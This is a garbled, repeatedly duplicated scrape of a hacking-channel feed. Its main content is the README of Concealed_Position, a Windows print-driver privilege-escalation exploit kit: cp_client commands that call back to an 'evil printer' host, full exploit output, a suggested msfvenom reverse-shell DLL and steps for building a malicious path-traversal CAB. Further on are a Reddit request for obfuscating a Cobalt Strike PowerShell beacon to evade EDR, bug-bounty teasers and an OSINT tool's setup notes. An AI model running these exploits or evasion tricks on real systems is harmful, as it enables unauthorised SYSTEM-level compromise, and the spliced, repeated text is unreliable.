Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Note that there is one manual step that cp_server prompts you to do. Because I'm a junk hacker, I couldn't figure out how to programmatically set the "Advanced Sharing Settings" -> "Turn off password protected sharing". You'll have to do that yourself! The process for using SLASHINGDAMAGE is a little different. You'll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and then you'll still need to follow a couple of manual steps and reboot.
CP Client
The client is similarly easy to use. Let's look at it's command line options: cp_client.exe _______ _______ __ _ _______ _______ _______ ___ _______ ______ | || || | | || || || _ || | | || | | || _ || |_| || || ___|| |_| || | | ___|| _ | | || | | || || || |___ | || | | |___ | | | | | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | | |_ | || | | || |_ | |___ | _ || || |___ | | |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| _______ _______ _______ ___ _______ ___ _______ __ _ | || || || | | || | | || | | | | _ || _ || _____|| | |_ _|| | | _ || |_| | | |_| || | | || |_____ | | | | | | | | | || | | ___|| |_| ||_____ || | | | | | | |_| || _ | | | | | _____| || | | | | | | || | | | |___| |_______||_______||___| |___| |___| |_______||_| |__| client! CLI options: -h, --help Display the help message -r, --rhost arg The remote evil printer address -n, --name arg The remote evil printer name -e, --exploit arg The exploit to use -l, --local No remote printer. Local attack only. -d, --dll arg Path to user provided DLL to execute. Exploits available: ACIDDAMAGE POISONDAMAGE RADIANTDAMAGE ">C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Note that there is one manual step that cp_server prompts you to do. Because I'm a junk hacker, I couldn't figure out how to programmatically set the "Advanced Sharing Settings" -> "Turn off password protected sharing". You'll have to do that yourself! The process for using SLASHINGDAMAGE is a little different. You'll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and then you'll still need to follow a couple of manual steps and reboot.
CP Client
The client is similarly easy to use. Let's look at it's command line options: cp_client.exe _______ _______ __ _ _______ _______ _______ ___ _______ ______ | || || | | || || || _ || | | || | | || _ || |_| || || ___|| |_| || | | ___|| _ | | || | | || || || |___ | || | | |___ | | | | | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | | |_ | || | | || |_ | |___ | _ || || |___ | | |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| _______ _______ _______ ___ _______ ___ _______ __ _ | || || || | | || | | || | | | | _ || _ || _____|| | |_ _|| | | _ || |_| | | |_| || | | || |_____ | | | | | | | | | || | | ___|| |_| ||_____ || | | | | | | |_| || _ | | | | | _____| || | | | | | | || | | | |___| |_______||_______||___| |___| |___| |_______||_| |__| client! CLI options: -h, --help Display the help message -r, --rhost arg The remote evil printer address -n, --name arg The remote evil printer name -e, --exploit arg The exploit to use -l, --local No remote printer. Local attack only. -d, --dll arg Path to user provided DLL to execute. Exploits available: ACIDDAMAGE POISONDAMAGE RADIANTDAMAGE ">C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| || _____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
First, I'd like to address the --dll option. The client has an embedded payload that will simply write the C:\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we'll just assume the embedded payload. cp_client has two modes: remote and local. The remote option is the most interesting because it adds the vulnerable driver (https://www.kitploit.com/search/label/Vulnerable%20Driver) to the driver store (thus executing the bring your own print driver vulnerability), so we'll go with that first. Let's say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide: The exploit I want to use The evil printer IP address The name of the evil shared printer Like this! cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE _______ _______ __ _ _______ _______ _______ ___ _______ ______ | || || | | || || || _ || | | || | | || _ || |_| || || ___|| |_| || | | ___|| _ | | || | | || || || |___ | || | | |___ | | | | | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | | |_ | || | | || |_ | |___ | _ || || |___ | | |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| _______ _______ _______ ___ _______ ___ _______ __ _ | || || || | | || | | || | | | | _ || _ || _____|| | |_ _|| | | _ || |_| | | |_| || | | || |_____ | | | | | | | | | || | | ___|| |_| ||_____ || | | | | | | |_| || _ | | | | | _____| || | | | | | | || | | | |___| |_______||_______||___| |___| |___| |_______||_| |__| client! [+] Checking if driver is already installed [-] Driver is not available. [+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE [+] Staging driver in driver store [+] Installing the staged driver [+] Driver installed! [+] Starting AcidDamage [+] Checking if C:\ProgramData\Lexmark Universal v2\ exists [-] Target directory doesn't exist. Trigger install. [+] Installing printer [+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl [+] Searching file contents [+] Updating file contents [+] Dropping updated gpl [+] Dropping Dll.dll to disk [+] Staging dll in c:\tmp [+] Installing printer [!] Mucho success! ">C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| || _____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
First, I'd like to address the --dll option. The client has an embedded payload that will simply write the C:\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we'll just assume the embedded payload. cp_client has two modes: remote and local. The remote option is the most interesting because it adds the vulnerable driver (https://www.kitploit.com/search/label/Vulnerable%20Driver) to the driver store (thus executing the bring your own print driver vulnerability), so we'll go with that first. Let's say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide: The exploit I want to use The evil printer IP address The name of the evil shared printer Like this! cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE _______ _______ __ _ _______ _______ _______ ___ _______ ______ | || || | | || || || _ || | | || | | || _ || |_| || || ___|| |_| || | | ___|| _ | | || | | || || || |___ | || | | |___ | | | | | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | | |_ | || | | || |_ | |___ | _ || || |___ | | |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| _______ _______ _______ ___ _______ ___ _______ __ _ | || || || | | || | | || | | | | _ || _ || _____|| | |_ _|| | | _ || |_| | | |_| || | | || |_____ | | | | | | | | | || | | ___|| |_| ||_____ || | | | | | | |_| || _ | | | | | _____| || | | | | | | || | | | |___| |_______||_______||___| |___| |___| |_______||_| |__| client! [+] Checking if driver is already installed [-] Driver is not available. [+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE [+] Staging driver in driver store [+] Installing the staged driver [+] Driver installed! [+] Starting AcidDamage [+] Checking if C:\ProgramData\Lexmark Universal v2\ exists [-] Target directory doesn't exist. Trigger install. [+] Installing printer [+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl [+] Searching file contents [+] Updating file contents [+] Dropping updated gpl [+] Dropping Dll.dll to disk [+] Staging dll in c:\tmp [+] Installing printer [!] Mucho success! ">C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_ | ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
That's it! To execute a local only attack, you just need to provide the exploit: cp_client.exe -l -e ACIDDAMAGE _______ _______ __ _ _______ _______ _______ ___ _______ ______ | || || | | || || || _ || | | || | | || _ || |_| || || ___|| |_| || | | ___|| _ | | || | | || || || |___ | || | | |___ | | | | | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | | |_ | || | | || |_ | |___ | _ || || |___ | | |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| _______ _______ _______ ___ _______ ___ _______ __ _ | || || || | | || | | || | | | | _ || _ || _____|| | |_ _|| | | _ || |_| | | |_| || | | || |_____ | | | | | | | | | || | | ___|| |_| ||_____ || | | | | | | |_| || _ | | | | | _____| || | | | | | | || | | | |___| |_______||_______||___| |___| |___| |_______||_| |__| client! [+] Checking if driver is already installed [+] Driver installed! [+] Starting AcidDamage [+] Checking if C:\ProgramData\Lexmark Universal v2\ exists [-] Target directory doesn't exist. Trigger install. [+] Installing printer [+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl [+] Searching file contents [+] Updating file contents [+] Dropping updated gpl [+] Dropping Dll.dll to disk [+] Staging dll in c:\tmp [+] Installing printer [!] Mucho success! C:\Users\albinolobster\concealed_position\build\x64\Release\bin> ">C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_ | ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
That's it! To execute a local only attack, you just need to provide the exploit: cp_client.exe -l -e ACIDDAMAGE _______ _______ __ _ _______ _______ _______ ___ _______ ______ | || || | | || || || _ || | | || | | || _ || |_| || || ___|| |_| || | | ___|| _ | | || | | || || || |___ | || | | |___ | | | | | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | | |_ | || | | || |_ | |___ | _ || || |___ | | |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| _______ _______ _______ ___ _______ ___ _______ __ _ | || || || | | || | | || | | | | _ || _ || _____|| | |_ _|| | | _ || |_| | | |_| || | | || |_____ | | | | | | | | | || | | ___|| |_| ||_____ || | | | | | | |_| || _ | | | | | _____| || | | | | | | || | | | |___| |_______||_______||___| |___| |___| |_______||_| |__| client! [+] Checking if driver is already installed [+] Driver installed! [+] Starting AcidDamage [+] Checking if C:\ProgramData\Lexmark Universal v2\ exists [-] Target directory doesn't exist. Trigger install. [+] Installing printer [+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl [+] Searching file contents [+] Updating file contents [+] Dropping updated gpl [+] Dropping Dll.dll to disk [+] Staging dll in c:\tmp [+] Installing printer [!] Mucho success! C:\Users\albinolobster\concealed_position\build\x64\Release\bin> ">C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Why doesn't the client have a SLASHINGDAMAGE option?
SLASHINGDAMAGE doesn't need a special client for exploitation. You can just use the UI or the command line to connect to the remote printer and that's it! Unfortunately, if you want to roll a custom payload you'll need to update the CAB in the cab_files directory. But that's easy. Something like this: files.txt makecab /f files.txt move disk1/1.cab exploit.cab ">echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
It's probably important to know that the version of SLASHINGDAMAGE in the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:\result.txt file.
Pull Requests and Bugs
Do you want to submit a pull request or file a bug? Great! I appreciate that, but if you don't provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I'll close your issue without comment. I appreciate you, but I'm also pretty busy.
Other things
One thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you'll need to manually update the C array as well (just use xxd to generate the array).
Download Concealed_Position (https://github.com/jacob-baines/concealed_position)
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Why doesn't the client have a SLASHINGDAMAGE option?
SLASHINGDAMAGE doesn't need a special client for exploitation. You can just use the UI or the command line to connect to the remote printer and that's it! Unfortunately, if you want to roll a custom payload you'll need to update the CAB in the cab_files directory. But that's easy. Something like this: files.txt makecab /f files.txt move disk1/1.cab exploit.cab ">echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
It's probably important to know that the version of SLASHINGDAMAGE in the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:\result.txt file.
Pull Requests and Bugs
Do you want to submit a pull request or file a bug? Great! I appreciate that, but if you don't provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I'll close your issue without comment. I appreciate you, but I'm also pretty busy.
Other things
One thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you'll need to manually update the C array as well (just use xxd to generate the array).
Download Concealed_Position (https://github.com/jacob-baines/concealed_position)
Obfuscating powershell beacons
https://www.reddit.com/r/redteamsec/comments/pqnjhe/obfuscating_powershell_beacons/
<!-- SC_OFF -->Hey community, as a red teamer you constantly have to figure out new techniques and sneaky ways to go undetected. Currently I’m in a task of developing a powershell one liner beacon that should connect back to my Cobalt Strike C2, EDR solutions in the company I’m running this are very strong. I’m not too familiar with obfuscation for this and GitHub solutions I have seen don’t really work or are too popular now so EDRs catch them. Can you recommend up to date methods to obfuscate successfully my shell code in this powershell beacon attempt? <!-- SC_ON --> submitted by /u/slyjose (https://www.reddit.com/user/slyjose)
[link] (https://www.reddit.com/r/redteamsec/comments/pqnjhe/obfuscating_powershell_beacons/) [comments] (https://www.reddit.com/r/redteamsec/comments/pqnjhe/obfuscating_powershell_beacons/)
https://www.reddit.com/r/redteamsec/comments/pqnjhe/obfuscating_powershell_beacons/
<!-- SC_OFF -->Hey community, as a red teamer you constantly have to figure out new techniques and sneaky ways to go undetected. Currently I’m in a task of developing a powershell one liner beacon that should connect back to my Cobalt Strike C2, EDR solutions in the company I’m running this are very strong. I’m not too familiar with obfuscation for this and GitHub solutions I have seen don’t really work or are too popular now so EDRs catch them. Can you recommend up to date methods to obfuscate successfully my shell code in this powershell beacon attempt? <!-- SC_ON --> submitted by /u/slyjose (https://www.reddit.com/user/slyjose)
[link] (https://www.reddit.com/r/redteamsec/comments/pqnjhe/obfuscating_powershell_beacons/) [comments] (https://www.reddit.com/r/redteamsec/comments/pqnjhe/obfuscating_powershell_beacons/)
Hellow folks! I hope you’re well! In this writeup I’ll tell how I become low privilege user to an Admin. So without further delay let’s…Continue reading on Medium » (https://dewangpanchal98.medium.com/admin-access-799b50694965?source=rss------bug_bounty-5)
Android APK Reversing through a Hyper-V configured system, a writeup & guide.
https://masq31.medium.com/android-apk-reversing-through-a-hyper-v-configured-system-a-writeup-guide-a38095c9d001?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://masq31.medium.com/android-apk-reversing-through-a-hyper-v-configured-system-a-writeup-guide-a38095c9d001?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Android APK Reversing through a Hyper-V configured system, a writeup & guide.
Hello everyone. I was debating putting this writeup on another site, but I settled with keeping it on medium for the time being. My latest…
Hello everyone. I was debating putting this writeup on another site, but I settled with keeping it on medium for the time being. My latest…Continue reading on Medium » (https://masq31.medium.com/android-apk-reversing-through-a-hyper-v-configured-system-a-writeup-guide-a38095c9d001?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Android APK Reversing through a Hyper-V configured system, a writeup & guide.
Hello everyone. I was debating putting this writeup on another site, but I settled with keeping it on medium for the time being. My latest…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsTIGMINT : OSINT (Open Source Intelligence) GUI Software Framework
TIGMINT is an OSINT (Open Source Intelligence) software framework with an objective of making cyber investigations more convinient by implementing abstraction mechanisms to hide the background technical complexity also bundling different analysis techniques for social media Intelligence together providing a simple intuitive web interface for the user to work with.
Preview
Modules
Our Team
Documentation
Account Finder
Twitter Analyser
Working Tool Screenshots
Local Setup
Requirements
* Python 3.6;
* beautifulsoup4;
* Nodejs;
* matplotlib;
* pandas;
* NPM;
* nltk;
Windows Setup Issues
For windows users, if the setup fails or application is redirecting to 404 error page always. You can verify the below steps.
* Verify all the modules in requirements.txt are successfully installed using pip3 install -r requirements.txt Command . In windows you have to manually install wordcloud module based on your python version.
WordCloud module download Link | StackOverflow Help Thread
Ex: If you had python 3.6 installed, then you have to install wordcloud‑1.8.0‑cp36‑cp36m‑win_amd64.whl module from the above link.
After installing the wordcloud module, run command pip install -r requirements.txt again to check if all requirements are installed successfully.
* Check if all Node requirements are installed using npm install command.
If you still had any problems please open a issue with module name, operating system, input and output and console log. We will try to fix the issue as soon as possible.
Linux Meta-Analysis Requirment
sudo apt install exiftool
The above tool is required to retreive metadata from various file formats.
Installing And Running
Git
git clone https://github.com/TIGMINT/TIGMINT
cd TIGMINT
pip3 install -r requirements.txt
pip3 install –user –upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint
npm install
node Api/server.js
Tool not working?
* Update python dependencies. (pip3 install –user –upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint)
* Reinstall from the github repo.
* Raise an issue with the error logs. We will fix it asap !.
Using Docker
you can run with docker with this command
docker run –name tigmint -p 3000:3000 k1m0ch1/tigmint
and open the
or you can build the image by yourself with command
docker build -t tigmint .
Download
___________________________
@hacking_Attack
@Hacking_Video
TIGMINT is an OSINT (Open Source Intelligence) software framework with an objective of making cyber investigations more convinient by implementing abstraction mechanisms to hide the background technical complexity also bundling different analysis techniques for social media Intelligence together providing a simple intuitive web interface for the user to work with.
Preview
Modules
Our Team
Documentation
Account Finder
Twitter Analyser
Working Tool Screenshots
Local Setup
Requirements
* Python 3.6;
* beautifulsoup4;
* Nodejs;
* matplotlib;
* pandas;
* NPM;
* nltk;
Windows Setup Issues
For windows users, if the setup fails or application is redirecting to 404 error page always. You can verify the below steps.
* Verify all the modules in requirements.txt are successfully installed using pip3 install -r requirements.txt Command . In windows you have to manually install wordcloud module based on your python version.
WordCloud module download Link | StackOverflow Help Thread
Ex: If you had python 3.6 installed, then you have to install wordcloud‑1.8.0‑cp36‑cp36m‑win_amd64.whl module from the above link.
After installing the wordcloud module, run command pip install -r requirements.txt again to check if all requirements are installed successfully.
* Check if all Node requirements are installed using npm install command.
If you still had any problems please open a issue with module name, operating system, input and output and console log. We will try to fix the issue as soon as possible.
Linux Meta-Analysis Requirment
sudo apt install exiftool
The above tool is required to retreive metadata from various file formats.
Installing And Running
Git
git clone https://github.com/TIGMINT/TIGMINT
cd TIGMINT
pip3 install -r requirements.txt
pip3 install –user –upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint
npm install
node Api/server.js
Tool not working?
* Update python dependencies. (pip3 install –user –upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint)
* Reinstall from the github repo.
* Raise an issue with the error logs. We will fix it asap !.
Using Docker
you can run with docker with this command
docker run –name tigmint -p 3000:3000 k1m0ch1/tigmint
and open the
http://localhost:3000or you can build the image by yourself with command
docker build -t tigmint .
Download
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - TIGMINT/TIGMINT: TIGMINT: OSINT (Open Source Intelligence) GUI software framework
TIGMINT: OSINT (Open Source Intelligence) GUI software framework - TIGMINT/TIGMINT
From Google Dorking to Information Disclosure
This is a story about how I used google dorking to find sensitive information exposed in a private VDP program. This is a rather short…Continue reading on Medium »
Read more...
This is a story about how I used google dorking to find sensitive information exposed in a private VDP program. This is a rather short…Continue reading on Medium »
Read more...
From Google Dorking to Information Disclosure
https://mikekitckchan.medium.com/from-google-dorking-to-information-disclosure-5da4f1d771e5?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://mikekitckchan.medium.com/from-google-dorking-to-information-disclosure-5da4f1d771e5?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
From Google Dorking to Information Disclosure
This is a story about how I used google dorking to find sensitive information exposed in a private VDP program. This is a rather short…